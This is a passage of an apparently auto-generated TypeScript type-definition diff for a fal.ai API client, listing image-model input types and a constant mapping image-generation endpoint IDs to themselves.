InputFalAiWorkflowUtilitiesExtractNthFrame + | InputFalAiZImageBase + | InputFalAiZImageBaseLora + | InputFalAiZImageTurbo + | InputFalAiZImageTurboControlnet + | InputFalAiZImageTurboControlnetLora + | InputFalAiZImageTurboImageToImage + | InputFalAiZImageTurboImageToImageLora + | InputFalAiZImageTurboInpaint + | InputFalAiZImageTurboInpaintLora + | InputFalAiZImageTurboLora + | InputFalAiZImageTurboTiling + | InputFalAiZImageTurboTilingLora + | InputGoogleNanoBanana2Lite + | InputGoogleNanoBanana21 + | InputGoogleNanoBanana21Edit + | InputGoogleNanoBananaLite + | InputGoogleNanoBananaLiteEdit + | InputGoogleVirtualTryOn + | InputHitem3DHi3DImageToRelief + | InputIdeogramV4 + | InputIdeogramV45 + | InputIdeogramV45Edit + | InputIdeogramV4Fast + | InputIdeogramV4ImageToImage + | InputIdeogramV4ImageToImageLora + | InputIdeogramV4Instant + | InputIdeogramV4Lora + | InputIdeogramV4Tiling + | InputIdeogramV4TilingLora + | InputIdeogramVectorImageToVector + | InputIdeogramVectorTextToVector + | InputKreaV2LargeTextToImage + | InputKreaV2MediumTextToImage + | InputKreaV2MediumTurboTextToImage + | InputKreaV3Edit + | InputKreaV3Realtime + | InputKreaV3TextToImage + | InputLumaAgentUni1V1Edit + | InputLumaAgentUni1V1Max + | InputLumaAgentUni1V1MaxEdit + | InputLumaAgentUni1V1TextToImage + | InputMetaMuseImageEdit + | InputMetaMuseImageTextToImage + | InputMicrosoftMaiImage25 + | InputMicrosoftMaiImage25Pro + | InputMicrosoftMaiImage25ProEdit + | InputMicrosoftMaiImage25Edit + | InputNvidiaCosmos3SuperTextToImage + | InputOpenaiGptImage2 + | InputOpenaiGptImage25FlareEdit + | InputOpenaiGptImage25FlareTextToImage + | InputOpenaiGptImage25SunburstEdit + | InputOpenaiGptImage25SunburstTextToImage + | InputOpenaiGptImage26FlareEdit + | InputOpenaiGptImage26FlareTextToImage + | InputOpenaiGptImage26SunburstEdit + | InputOpenaiGptImage26SunburstTextToImage + | InputOpenaiGptImage2Edit + | InputPixelcutBackgroundRemoval + | InputPixelcutProductPhoto + | InputRecraftV41FlashTextToImage + | InputRecraftV4StyleProTextToImage + | InputRecraftV4StyleProTextToVector + | InputRecraftV4StyleTextToImage + | InputRecraftV4StyleTextToVector + | InputRundiffusionFalJuggernautFluxBase + | InputRundiffusionFalJuggernautFluxBaseImageToImage + | InputRundiffusionFalJuggernautFluxLightning + | InputRundiffusionFalJuggernautFluxPro + | InputRundiffusionFalJuggernautFluxProImageToImage + | InputRundiffusionFalRundiffusionPhotoFlux + | InputSmoretalkAiRembgEnhance + | InputTopazAdjustImage + | InputTopazDenoiseImage + | InputTopazRestoreImage + | InputTopazSharpenImage + | InputTopazUpscaleImageCreative + | InputTopazUpscaleImageGenerative + | InputTopazUpscaleImagePrecision + | InputTopazUpscaleImageTransparent + | InputWanV26ImageToImage + | InputWanV26TextToImage + | InputXaiGrokImagineImage + | InputXaiGrokImagineImageEdit + | InputXaiGrokImagineImageQualityEdit + | InputXaiGrokImagineImageQualityTextToImage + | InputXaiGrokImagineImageV20Edit + | InputXaiGrokImagineImageV20TextToImage + +export type FalPostEndpointIdOptions = { + body: FalPostEndpointIdBody + path: FalPostEndpointIdPath + query?: never + headers?: never +} + +export type FalPostEndpointIdResponses = { + '200': FalPostEndpointIdStatus200 +} + +/** + * @description Union of all possible responses + */ +export type FalPostEndpointIdResponse = FalPostEndpointIdStatus200 + +export const falGetEndpointIdRequestsRequestIdEndpointId = { + 'alibaba/qwen-image-3/edit': 'alibaba/qwen-image-3/edit', + 'alibaba/qwen-image-3/text-to-image': 'alibaba/qwen-image-3/text-to-image', + 'blackforestlabs/flux-3/edit-image': 'blackforestlabs/flux-3/edit-image', + 'blackforestlabs/flux-3/klein/base/edit-image/lora': + 'blackforestlabs/flux-3/klein/base/edit-image/lora', + 'blackforestlabs/flux-3/klein/base/text-to-image/lora': + 'blackforestlabs/flux-3/klein/base/text-to-image/lora', + 'blackforestlabs/flux-3/klein/edit-image': + 'blackforestlabs/flux-3/klein/edit-image', + 'blackforestlabs/flux-3/klein/edit-image/lora': + 'blackforestlabs/flux-3/klein/edit-image/lora', + 'blackforestlabs/flux-3/klein/text-to-image': + 'blackforestlabs/flux-3/klein/text-to-image', + 'blackforestlabs/flux-3/klein/text-to-image/lora': + 'blackforestlabs/flux-3/klein/text-to-image/lora', + 'blackforestlabs/flux-3/text-to-image': + 'blackforestlabs/flux-3/text-to-image', + 'bria/embed-product': 'bria/embed-product', + 'bria/extract-object': 'bria/extract-object', + 'bria/fibo-2/edit': 'bria/fibo-2/edit', + 'bria/fibo-2/generate': 'bria/fibo-2/generate', + 'bria/fibo-bbq-preview/generate': 'bria/fibo-bbq-preview/generate', + 'bria/fibo-edit-1.5/edit': 'bria/fibo-edit-1.5/edit', + 'bria/fibo-edit-1.5/expand': 'bria/fibo-edit-1.5/expand', + 'bria/fibo-edit-1.5/product-holding': 'bria/fibo-edit-1.5/product-holding', + 'bria/fibo-edit-1.5/virtual-try-on': 'bria/fibo-edit-1.5/virtual-try-on', + 'bria/fibo-edit/add_object_by_text': 'bria/fibo-edit/add_object_by_text', + 'bria/fibo-edit/blend': 'bria/fibo-edit/blend', + 'bria/fibo-edit/colorize': 'bria/fibo-edit/colorize', + 'bria/fibo-edit/edit': 'bria/fibo-edit/edit', + 'bria/fibo-edit/erase_by_text': 'bria/fibo-edit/erase_by_text', + 'bria/fibo-edit/relight': 'bria/fibo-edit/relight', + 'bria/fibo-edit/replace_object_by_text': + 'bria/fibo-edit/replace_object_by_text', + 'bria/fibo-edit/reseason': 'bria/fibo-edit/reseason', + 'bria/fibo-edit/restore': 'bria/fibo-edit/restore', + 'bria/fibo-edit/restyle': 'bria/fibo-edit/restyle', + 'bria/fibo-edit/rewrite_text': 'bria/fibo-edit/rewrite_text', + 'bria/fibo-edit/sketch_to_colored_image': + 'bria/fibo-edit/sketch_to_colored_image', + 'bria/fibo-gen-1.5/text-to-image': 'bria/fibo-gen-1.5/text-to-image', + 'bria/fibo-lite/generate': 'bria/fibo-lite/generate', + 'bria/fibo/generate': 'bria/fibo/generate', + 'bria/genfill/v2': 'bria/genfill/v2', + 'bria/guided-remove-background': 'bria/guided-remove-background', + 'bria/increase-resolution': 'bria/increase-resolution', + 'bria/product-dimensions': 'bria/product-dimensions', + 'bria/replace-background': 'bria/replace-background', + 'bria/upscale/creative': 'bria/upscale/creative', + 'bytedance/seedream/v5/flash/edit': 'bytedance/seedream/v5/flash/edit', + 'bytedance/seedream/v5/flash/layerize': + 'bytedance/seedream/v5/flash/layerize', + 'bytedance/seedream/v5/flash/text-to-image': + 'bytedance/seedream/v5/flash/text-to-image', + 'bytedance/seedream/v5/lite/edit': 'bytedance/seedream/v5/lite/edit', + 'bytedance/seedream/v5/lite/text-to-image': + 'bytedance/seedream/v5/lite/text-to-image', + 'bytedance/seedream/v5/pro/edit': 'bytedance/seedream/v5/pro/edit', + 'bytedance/seedream/v5/pro/layerize': 'bytedance/seedream/v5/pro/layerize', + 'bytedance/seedream/v5/pro/text-to-image': + 'bytedance/seedream/v5/pro/text-to-image', + 'clarityai/crystal-upscaler': 'clarityai/crystal-upscaler', + 'fal-ai/aura-sr': 'fal-ai/aura-sr', + 'fal-ai/bagel': 'fal-ai/bagel', + 'fal-ai/bagel/edit': 'fal-ai/bagel/edit', + 'fal-ai/ben/v2/image': 'fal-ai/ben/v2/image', + 'fal-ai/birefnet': 'fal-ai/birefnet', + 'fal-ai/birefnet/v2': 'fal-ai/birefnet/v2', + 'fal-ai/boogu-image': 'fal-ai/boogu-image', + 'fal-ai/boogu-image/edit': 'fal-ai/boogu-image/edit', + 'fal-ai/bria/background/remove': 'fal-ai/bria/background/remove', + 'fal-ai/bria/background/replace': 'fal-ai/bria/background/replace', + 'fal-ai/bria/eraser': 'fal-ai/bria/eraser', + 'fal-ai/bria/expand': 'fal-ai/bria/expand', + 'fal-ai/bria/genfill': 'fal-ai/bria/genfill', + 'fal-ai/bria/product-shot': 'fal-ai/bria/product-shot', + 'fal-ai/bria/reimagine': 'fal-ai/bria/reimagine', + 'fal-ai/bria/text-to-image/base': 'fal-ai/bria/text-to-image/base', + 'fal-ai/bria/text-to-image/fast': 'fal-ai/bria/text-to-image/fast', + 'fal-ai/bria/text-to-image/hd': 'fal-ai/bria/text-to-image/hd', + 'fal-ai/bytedance/seedream/v4.5/edit': 'fal-ai/bytedance/seedream/v4.5/edit', + 'fal-ai/bytedance/seedream/v4.5/text-to-image': + 'fal-ai/bytedance/seedream/v4.5/text-to-image', + 'fal-ai/bytedance/seedream/v4/edit': 'fal-ai/bytedance/seedream/v4/edit', + 'fal-ai/bytedance/seedream/v4/text-to-image': + 'fal-ai/bytedance/seedream/v4/text-to-image', + 'fal-ai/cat-vton': 'fal-ai/cat-vton', + 'fal-ai/clarity-upscaler': 'fal-ai/clarity-upscaler', + 'fal-ai/codeformer': 'fal-ai/codeformer', + 'fal-ai/control-light': 'fal-ai/control-light', + 'fal-ai/creative-upscaler': 'fal-ai/creative-upscaler', + 'fal-ai/ddcolor': 'fal-ai/ddcolor', + 'fal-ai/dwpose': 'fal-ai/dwpose', + 'fal-ai/emu-3.5-image/edit-image': 'fal-ai/emu-3.5-image/edit-image', + 'fal-ai/emu-3.5-image/text-to-image': 'fal-ai/emu-3.5-image/text-to-image', + 'fal-ai/ernie-image': 'fal-ai/ernie-image', + 'fal-ai/ernie-image/lora': 'fal-ai/ernie-image/lora', + 'fal-ai/ernie-image/lora/turbo': 'fal-ai/ernie-image/lora/turbo', + 'fal-ai/ernie-image/turbo': 'fal-ai/ernie-image/turbo', + 'fal-ai/esrgan': 'fal-ai/esrgan', + 'fal-ai/evf-sam': 'fal-ai/evf-sam', + 'fal-ai/fashn/tryon/v1.5': 'fal-ai/fashn/tryon/v1.5', + 'fal-ai/fashn/tryon/v1.6': 'fal-ai/fashn/tryon/v1.6', + 'fal-ai/fast-lcm-diffusion': 'fal-ai/fast-lcm-diffusion', + 'fal-ai/fast-lcm-diffusion/image-to-image': + 'fal-ai/fast-lcm-diffusion/image-to-image', + 'fal-ai/fast-lcm-diffusion/inpainting': + 'fal-ai/fast-lcm-diffusion/inpainting', + 'fal-ai/fast-lightning-sdxl': 'fal-ai/fast-lightning-sdxl', + 'fal-ai/fast-lightning-sdxl/image-to-image': + 'fal-ai/fast-lightning-sdxl/image-to-image', + 'fal-ai/fast-lightning-sdxl/inpainting': + 'fal-ai/fast-lightning-sdxl/inpainting', + 'fal-ai/fast-sdxl': 'fal-ai/fast-sdxl', + 'fal-ai/fast-sdxl/image-to-image': 'fal-ai/fast-sdxl/image-to-image', + 'fal-ai/fast-sdxl/inpainting': 'fal-ai/fast-sdxl/inpainting', + 'fal-ai/feynobg': 'fal-ai/feynobg', + 'fal-ai/ffmpeg-api/extract-frame': 'fal-ai/ffmpeg-api/extract-frame', + 'fal-ai/film': 'fal-ai/film', + 'fal-ai/finegrain-eraser': 'fal-ai/finegrain-eraser', + 'fal-ai/finegrain-eraser/bbox': 'fal-ai/finegrain-eraser/bbox', + 'fal-ai/finegrain-eraser/mask': 'fal-ai/finegrain-eraser/mask', + 'fal-ai/firered-image-edit-v1.1': 'fal-ai/firered-image-edit-v1.1', + 'fal-ai/florence-2-large/caption-to-phrase-grounding': + 'fal-ai/florence-2-large/caption-to-phrase-grounding', + 'fal-ai/florence-2-large/dense-region-caption': + 'fal-ai/florence-2-large/dense-region-caption', + 'fal-ai/florence-2-large/object-detection': + 'fal-ai/florence-2-large/object-detection', + 'fal-ai/florence-2-large/ocr-with-region': + 'fal-ai/florence-2-large/ocr-with-region', + 'fal-ai/florence-2-large/open-vocabulary-detection': + 'fal-ai/florence-2-large/open-vocabulary-detection', + 'fal-ai/florence-2-large/referring-expression-segmentation': + 'fal-ai/florence-2-large/referring-expression-segmentation', + 'fal-ai/florence-2-large/region-proposal': + 'fal-ai/florence-2-large/region-proposal', + 'fal-ai/florence-2-large/region-to-segmentation': + 'fal-ai/florence-2-large/region-to-segmentation', + 'fal-ai/flux-1/dev': 'fal-ai/flux-1/dev', + 'fal-ai/flux-1/dev/image-to-image': 'fal-ai/flux-1/dev/image-to-image', + 'fal-ai/flux-1/dev/redux': 'fal-ai/flux-1/dev/redux', + 'fal-ai/flux-1/krea': 'fal-ai/flux-1/krea', + 'fal-ai/flux-1/krea/image-to-image': 'fal-ai/flux-1/krea/image-to-image', + 'fal-ai/flux-1/krea/redux': 'fal-ai/flux-1/krea/redux', + 'fal-ai/flux-1/schnell': 'fal-ai/flux-1/schnell', + 'fal-ai/flux-1/schnell/redux': 'fal-ai/flux-1/schnell/redux', + 'fal-ai/flux-1/srpo': 'fal-ai/flux-1/srpo', + 'fal-ai/flux-1/srpo/image-to-image': 'fal-ai/flux-1/srpo/image-to-image', + 'fal-ai/flux-2': 'fal-ai/flux-2', + 'fal-ai/flux-2-flex': 'fal-ai/flux-2-flex', + 'fal-ai/flux-2-flex/edit': 'fal-ai/flux-2-flex/edit', + 'fal-ai/flux-2-lora-gallery/add-background': + 'fal-ai/flux-2-lora-gallery/add-background', + 'fal-ai/flux-2-lora-gallery/apartment-staging': + 'fal-ai/flux-2-lora-gallery/apartment-staging', + 'fal-ai/flux-2-lora-gallery/ballpoint-pen-sketch': + 'fal-ai/flux-2-lora-gallery/ballpoint-pen-sketch', + 'fal-ai/flux-2-lora-gallery/digital-comic-art': + 'fal-ai/flux-2-lora-gallery/digital-comic-art', + 'fal-ai/flux-2-lora-gallery/face-to-full-portrait': + 'fal-ai/flux-2-lora-gallery/face-to-full-portrait', + 'fal-ai/flux-2-lora-gallery/hdr-style': + 'fal-ai/flux-2-lora-gallery/hdr-style', + 'fal-ai/flux-2-lora-gallery/multiple-angles': + 'fal-ai/flux-2-lora-gallery/multiple-angles', + 'fal-ai/flux-2-lora-gallery/realism': 'fal-ai/flux-2-lora-gallery/realism', + 'fal-ai/flux-2-lora-gallery/satellite-view-style': + 'fal-ai/flux-2-lora-gallery/satellite-view-style', + 'fal-ai/flux-2-lora-gallery/sepia-vintage': + 'fal-ai/flux-2-lora-gallery/sepia-vintage', + 'fal-ai/flux-2-lora-gallery/virtual-tryon': + 'fal-ai/flux-2-lora-gallery/virtual-tryon', + 'fal-ai/flux-2-max': 'fal-ai/flux-2-max', + 'fal-ai/flux-2-max/edit': 'fal-ai/flux-2-max/edit', + 'fal-ai/flux-2-pro': 'fal-ai/flux-2-pro', + 'fal-ai/flux-2-pro/edit': 'fal-ai/flux-2-pro/edit', + 'fal-ai/flux-2-pro/outpaint': 'fal-ai/flux-2-pro/outpaint', + 'fal-ai/flux-2/edit': 'fal-ai/flux-2/edit', + 'fal-ai/flux-2/flash': 'fal-ai/flux-2/flash', + 'fal-ai/flux-2/flash/edit': 'fal-ai/flux-2/flash/edit', + 'fal-ai/flux-2/klein/4b': 'fal-ai/flux-2/klein/4b', + 'fal-ai/flux-2/klein/4b/base': 'fal-ai/flux-2/klein/4b/base', + 'fal-ai/flux-2/klein/4b/base/edit': 'fal-ai/flux-2/klein/4b/base/edit', + 'fal-ai/flux-2/klein/4b/base/edit/lora': + 'fal-ai/flux-2/klein/4b/base/edit/lora', + 'fal-ai/flux-2/klein/4b/base/lora': 'fal-ai/flux-2/klein/4b/base/lora', + 'fal-ai/flux-2/klein/4b/edit': 'fal-ai/flux-2/klein/4b/edit', + 'fal-ai/flux-2/klein/4b/edit/lora': 'fal-ai/flux-2/klein/4b/edit/lora', + 'fal-ai/flux-2/klein/4b/lora': 'fal-ai/flux-2/klein/4b/lora', + 'fal-ai/flux-2/klein/9b': 'fal-ai/flux-2/klein/9b', + 'fal-ai/flux-2/klein/9b/base': 'fal-ai/flux-2/klein/9b/base', + 'fal-ai/flux-2/klein/9b/base/edit': 'fal-ai/flux-2/klein/9b/base/edit', + 'fal-ai/flux-2/klein/9b/base/edit/lora': + 'fal-ai/flux-2/klein/9b/base/edit/lora', + 'fal-ai/flux-2/klein/9b/base/lora': 'fal-ai/flux-2/klein/9b/base/lora', + 'fal-ai/flux-2/klein/9b/edit': 'fal-ai/flux-2/klein/9b/edit', + 'fal-ai/flux-2/klein/9b/edit/lora': 'fal-ai/flux-2/klein/9b/edit/lora', + 'fal-ai/flux-2/klein/9b/lora': 'fal-ai/flux-2/klein/9b/lora', + 'fal-ai/flux-2/klein/realtime': 'fal-ai/flux-2/klein/realtime', + 'fal-ai/flux-2/lora': 'fal-ai/flux-2/lora', + 'fal-ai/flux-2/lora/edit': 'fal-ai/flux-2/lora/edit', + 'fal-ai/flux-2/turbo': 'fal-ai/flux-2/turbo', + 'fal-ai/flux-2/turbo/edit': 'fal-ai/flux-2/turbo/edit', + 'fal-ai/flux-general': 'fal-ai/flux-general', + 'fal-ai/flux-general/differential-diffusion': + 'fal-ai/flux-general/differential-diffusion', + 'fal-ai/flux-general/image-to-image': 'fal-ai/flux-general/image-to-image', + 'fal-ai/flux-general/inpainting': 'fal-ai/flux-general/inpainting', + 'fal-ai/flux-general/rf-inversion': 'fal-ai/flux-general/rf-inversion', + 'fal-ai/flux-kontext-lora': 'fal-ai/flux-kontext-lora', + 'fal-ai/flux-kontext-lora/inpaint': 'fal-ai/flux-kontext-lora/inpaint', + 'fal-ai/flux-kontext-lora/text-to-image': + 'fal-ai/flux-kontext-lora/text-to-image', + 'fal-ai/flux-kontext/dev': 'fal-ai/flux-kontext/dev', + 'fal-ai/flux-krea-lora': 'fal-ai/flux-krea-lora', + 'fal-ai/flux-krea-lora/image-to-image': + 'fal-ai/flux-krea-lora/image-to-image', + 'fal-ai/flux-krea-lora/inpainting': 'fal-ai/flux-krea-lora/inpainting', + 'fal-ai/flux-krea-lora/stream': 'fal-ai/flux-krea-lora/stream', + 'fal-ai/flux-lora': 'fal-ai/flux-lora', + 'fal-ai/flux-lora-canny': 'fal-ai/flux-lora-canny', + 'fal-ai/flux-lora-depth': 'fal-ai/flux-lora-depth', + 'fal-ai/flux-lora-fill': 'fal-ai/flux-lora-fill', + 'fal-ai/flux-lora/image-to-image': 'fal-ai/flux-lora/image-to-image', + 'fal-ai/flux-lora/inpainting': 'fal-ai/flux-lora/inpainting', + 'fal-ai/flux-lora/stream': 'fal-ai/flux-lora/stream', + 'fal-ai/flux-pro/kontext': 'fal-ai/flux-pro/kontext', + 'fal-ai/flux-pro/kontext/max': 'fal-ai/flux-pro/kontext/max', + 'fal-ai/flux-pro/kontext/max/multi': 'fal-ai/flux-pro/kontext/max/multi', + 'fal-ai/flux-pro/kontext/max/text-to-image': + 'fal-ai/flux-pro/kontext/max/text-to-image', + 'fal-ai/flux-pro/kontext/multi': 'fal-ai/flux-pro/kontext/multi', + 'fal-ai/flux-pro/kontext/text-to-image': + 'fal-ai/flux-pro/kontext/text-to-image', + 'fal-ai/flux-pro/v1.1': 'fal-ai/flux-pro/v1.1', + 'fal-ai/flux-pro/v1.1-ultra': 'fal-ai/flux-pro/v1.1-ultra', + 'fal-ai/flux-pro/v1.1-ultra-finetuned': + 'fal-ai/flux-pro/v1.1-ultra-finetuned', + 'fal-ai/flux-pro/v1.1-ultra/redux': 'fal-ai/flux-pro/v1.1-ultra/redux', + 'fal-ai/flux-pro/v1.1/redux': 'fal-ai/flux-pro/v1.1/redux', + 'fal-ai/flux-pro/v1/erase': 'fal-ai/flux-pro/v1/erase', + 'fal-ai/flux-pro/v1/fill': 'fal-ai/flux-pro/v1/fill', + 'fal-ai/flux-pro/v1/fill-finetuned': 'fal-ai/flux-pro/v1/fill-finetuned', + 'fal-ai/flux-pro/v1/vto': 'fal-ai/flux-pro/v1/vto', + 'fal-ai/flux-pulid': 'fal-ai/flux-pulid', + 'fal-ai/flux-vision-upscaler': 'fal-ai/flux-vision-upscaler', + 'fal-ai/flux/dev': 'fal-ai/flux/dev', + 'fal-ai/flux/dev/image-to-image': 'fal-ai/flux/dev/image-to-image', + 'fal-ai/flux/dev/redux': 'fal-ai/flux/dev/redux', + 'fal-ai/flux/krea': 'fal-ai/flux/krea', + 'fal-ai/flux/krea/image-to-image': 'fal-ai/flux/krea/image-to-image', + 'fal-ai/flux/krea/redux': 'fal-ai/flux/krea/redux', + 'fal-ai/flux/schnell': 'fal-ai/flux/schnell', + 'fal-ai/flux/schnell/redux': 'fal-ai/flux/schnell/redux', + 'fal-ai/flux/srpo': 'fal-ai/flux/srpo', + 'fal-ai/flux/srpo/image-to-image': 'fal-ai/flux/srpo/image-to-image', + 'fal-ai/fooocus': 'fal-ai/fooocus', + 'fal-ai/fooocus/image-prompt': 'fal-ai/fooocus/image-prompt', + 'fal-ai/fooocus/inpaint': 'fal-ai/fooocus/inpaint', + 'fal-ai/fooocus/upscale-or-vary': 'fal-ai/fooocus/upscale-or-vary', + 'fal-ai/gemini-25-flash-image': 'fal-ai/gemini-25-flash-image', + 'fal-ai/gemini-25-flash-image/edit': 'fal-ai/gemini-25-flash-image/edit', + 'fal-ai/gemini-3-pro-image-preview': 'fal-ai/gemini-3-pro-image-preview', + 'fal-ai/gemini-3-pro-image-preview/edit': + 'fal-ai/gemini-3-pro-image-preview/edit', + 'fal-ai/gemini-3.1-flash-image-preview': + 'fal-ai/gemini-3.1-flash-image-preview', + 'fal-ai/gemini-3.1-flash-image-preview/edit': + 'fal-ai/gemini-3.1-flash-image-preview/edit', + 'fal-ai/glm-image': 'fal-ai/glm-image', + 'fal-ai/glm-image/image-to-image': 'fal-ai/glm-image/image-to-image', + 'fal-ai/gpt-image-1-mini': 'fal-ai/gpt-image-1-mini', + 'fal-ai/gpt-image-1-mini/edit': 'fal-ai/gpt-image-1-mini/edit', + 'fal-ai/gpt-image-1.5': 'fal-ai/gpt-image-1.5', + 'fal-ai/gpt-image-1.5/edit': 'fal-ai/gpt-image-1.5/edit', + 'fal-ai/hidream-i1-fast': 'fal-ai/hidream-i1-fast', + 'fal-ai/hidream-i1-full': 'fal-ai/hidream-i1-full', + 'fal-ai/hidream-i1-full/image-to-image': + 'fal-ai/hidream-i1-full/image-to-image', + 'fal-ai/hidream-o1-image': 'fal-ai/hidream-o1-image', + 'fal-ai/hidream-o1-image/dev': 'fal-ai/hidream-o1-image/dev', + 'fal-ai/hidream-o1-image/dev/edit': 'fal-ai/hidream-o1-image/dev/edit', + 'fal-ai/hidream-o1-image/edit': 'fal-ai/hidream-o1-image/edit', + 'fal-ai/hunyuan_world': 'fal-ai/hunyuan_world', + 'fal-ai/hunyuan-image/v2.1/text-to-image': + 'fal-ai/hunyuan-image/v2.1/text-to-image', + 'fal-ai/hunyuan-image/v3/instruct/edit': + 'fal-ai/hunyuan-image/v3/instruct/edit', + 'fal-ai/hunyuan-image/v3/instruct/text-to-image': + 'fal-ai/hunyuan-image/v3/instruct/text-to-image', + 'fal-ai/hunyuan-image/v3/text-to-image': + 'fal-ai/hunyuan-image/v3/text-to-image', + 'fal-ai/hy-wu-edit': 'fal-ai/hy-wu-edit', + 'fal-ai/iclight-v2': 'fal-ai/iclight-v2', + 'fal-ai/ideogram/character': 'fal-ai/ideogram/character', + 'fal-ai/ideogram/character/edit': 'fal-ai/ideogram/character/edit', + 'fal-ai/ideogram/character/remix': 'fal-ai/ideogram/character/remix', + 'fal-ai/ideogram/object-removal': 'fal-ai/ideogram/object-removal', + 'fal-ai/ideogram/remove-background': 'fal-ai/ideogram/remove-background', + 'fal-ai/ideogram/upscale': 'fal-ai/ideogram/upscale', + 'fal-ai/ideogram/v2': 'fal-ai/ideogram/v2', + 'fal-ai/ideogram/v2/edit': 'fal-ai/ideogram/v2/edit', + 'fal-ai/ideogram/v2/remix': 'fal-ai/ideogram/v2/remix', + 'fal-ai/ideogram/v2/turbo': 'fal-ai/ideogram/v2/turbo', + 'fal-ai/ideogram/v2/turbo/edit': 'fal-ai/ideogram/v2/turbo/edit', + 'fal-ai/ideogram/v2/turbo/remix': 'fal-ai/ideogram/v2/turbo/remix', + 'fal-ai/ideogram/v2a': 'fal-ai/ideogram/v2a', + 'fal-ai/ideogram/v2a/remix': 'fal-ai/ideogram/v2a/remix', + 'fal-ai/ideogram/v2a/turbo': 'fal-ai/ideogram/v2a/turbo', + 'fal-ai/ideogram/v2a/turbo/remix': 'fal-ai/ideogram/v2a/turbo/remix', + 'fal-ai/ideogram/v3': 'fal-ai/ideogram/v3', + 'fal-ai/ideogram/v3/edit': 'fal-ai/ideogram/v3/edit', + 'fal-ai/ideogram/v3/generate-transparent': + 'fal-ai/ideogram/v3/generate-transparent', + 'fal-ai/ideogram/v3/layerize-text': 'fal-ai/ideogram/v3/layerize-text', + 'fal-ai/ideogram/v3/reframe': 'fal-ai/ideogram/v3/reframe', + 'fal-ai/ideogram/v3/remix': 'fal-ai/ideogram/v3/remix', + 'fal-ai/ideogram/v3/replace-background': + 'fal-ai/ideogram/v3/replace-background', + 'fal-ai/illusion-diffusion': 'fal-ai/illusion-diffusion', + 'fal-ai/image-apps-v2/age-modify': 'fal-ai/image-apps-v2/age-modify', + 'fal-ai/image-apps-v2/city-teleport': 'fal-ai/image-apps-v2/city-teleport', + 'fal-ai/image-apps-v2/expression-change': + 'fal-ai/image-apps-v2/expression-change', + 'fal-ai/image-apps-v2/hair-change': 'fal-ai/image-apps-v2/hair-change', + 'fal-ai/image-apps-v2/headshot-photo': 'fal-ai/image-apps-v2/headshot-photo', + 'fal-ai/image-apps-v2/makeup-application': + 'fal-ai/image-apps-v2/makeup-application', + 'fal-ai/image-apps-v2/object-removal': 'fal-ai/image-apps-v2/object-removal', + 'fal-ai/image-apps-v2/outpaint': 'fal-ai/image-apps-v2/outpaint', + 'fal-ai/image-apps-v2/perspective': 'fal-ai/image-apps-v2/perspective', + 'fal-ai/image-apps-v2/photo-restoration': + 'fal-ai/image-apps-v2/photo-restoration', + 'fal-ai/image-apps-v2/photography-effects': + 'fal-ai/image-apps-v2/photography-effects', + 'fal-ai/image-apps-v2/portrait-enhance': + 'fal-ai/image-apps-v2/portrait-enhance', + 'fal-ai/image-apps-v2/product-holding': + 'fal-ai/image-apps-v2/product-holding', + 'fal-ai/image-apps-v2/product-photography': + 'fal-ai/image-apps-v2/product-photography', + 'fal-ai/image-apps-v2/relighting': 'fal-ai/image-apps-v2/relighting', + 'fal-ai/image-apps-v2/style-transfer': 'fal-ai/image-apps-v2/style-transfer', + 'fal-ai/image-apps-v2/texture-transform': + 'fal-ai/image-apps-v2/texture-transform', + 'fal-ai/image-apps-v2/virtual-try-on': 'fal-ai/image-apps-v2/virtual-try-on', + 'fal-ai/image-editing/age-progression': + 'fal-ai/image-editing/age-progression', + 'fal-ai/image-editing/baby-version': 'fal-ai/image-editing/baby-version', + 'fal-ai/image-editing/background-change': + 'fal-ai/image-editing/background-change', + 'fal-ai/image-editing/broccoli-haircut': + 'fal-ai/image-editing/broccoli-haircut', + 'fal-ai/image-editing/cartoonify': 'fal-ai/image-editing/cartoonify', + 'fal-ai/image-editing/color-correction': + 'fal-ai/image-editing/color-correction', + 'fal-ai/image-editing/expression-change': + 'fal-ai/image-editing/expression-change', + 'fal-ai/image-editing/face-enhancement': + 'fal-ai/image-editing/face-enhancement', + 'fal-ai/image-editing/hair-change': 'fal-ai/image-editing/hair-change', + 'fal-ai/image-editing/object-removal': 'fal-ai/image-editing/object-removal', + 'fal-ai/image-editing/photo-restoration': + 'fal-ai/image-editing/photo-restoration', + 'fal-ai/image-editing/plushie-style': 'fal-ai/image-editing/plushie-style', + 'fal-ai/image-editing/professional-photo': + 'fal-ai/image-editing/professional-photo', + 'fal-ai/image-editing/realism': 'fal-ai/image-editing/realism', + 'fal-ai/image-editing/reframe': 'fal-ai/image-editing/reframe', + 'fal-ai/image-editing/retouch': 'fal-ai/image-editing/retouch', + 'fal-ai/image-editing/scene-composition': + 'fal-ai/image-editing/scene-composition', + 'fal-ai/image-editing/style-transfer': 'fal-ai/image-editing/style-transfer', + 'fal-ai/image-editing/text-removal': 'fal-ai/image-editing/text-removal', + 'fal-ai/image-editing/time-of-day': 'fal-ai/image-editing/time-of-day', + 'fal-ai/image-editing/weather-effect': 'fal-ai/image-editing/weather-effect', + 'fal-ai/image-editing/wojak-style': 'fal-ai/image-editing/wojak-style', + 'fal-ai/image-editing/youtube-thumbnails': + 'fal-ai/image-editing/youtube-thumbnails', + 'fal-ai/image-preprocessors/depth-anything/v2': + 'fal-ai/image-preprocessors/depth-anything/v2', + 'fal-ai/image-preprocessors/hed': 'fal-ai/image-preprocessors/hed', + 'fal-ai/image-preprocessors/lineart': 'fal-ai/image-preprocessors/lineart', + 'fal-ai/image-preprocessors/midas': 'fal-ai/image-preprocessors/midas', + 'fal-ai/image-preprocessors/mlsd': 'fal-ai/image-preprocessors/mlsd', + 'fal-ai/image-preprocessors/pidi': 'fal-ai/image-preprocessors/pidi', + 'fal-ai/image-preprocessors/sam': 'fal-ai/image-preprocessors/sam', + 'fal-ai/image-preprocessors/scribble': 'fal-ai/image-preprocessors/scribble', + 'fal-ai/image-preprocessors/teed': 'fal-ai/image-preprocessors/teed', + 'fal-ai/image-preprocessors/zoe': 'fal-ai/image-preprocessors/zoe', + 'fal-ai/image2pixel': 'fal-ai/image2pixel', + 'fal-ai/image2svg': 'fal-ai/image2svg', + 'fal-ai/imageutils/depth': 'fal-ai/imageutils/depth', + 'fal-ai/imageutils/marigold-depth': 'fal-ai/imageutils/marigold-depth', + 'fal-ai/imageutils/rembg': 'fal-ai/imageutils/rembg', + 'fal-ai/instant-character': 'fal-ai/instant-character', + 'fal-ai/ip-adapter-face-id': 'fal-ai/ip-adapter-face-id', + 'fal-ai/kling-image/o1': 'fal-ai/kling-image/o1', + 'fal-ai/kling-image/o3/image-to-image': + 'fal-ai/kling-image/o3/image-to-image', + 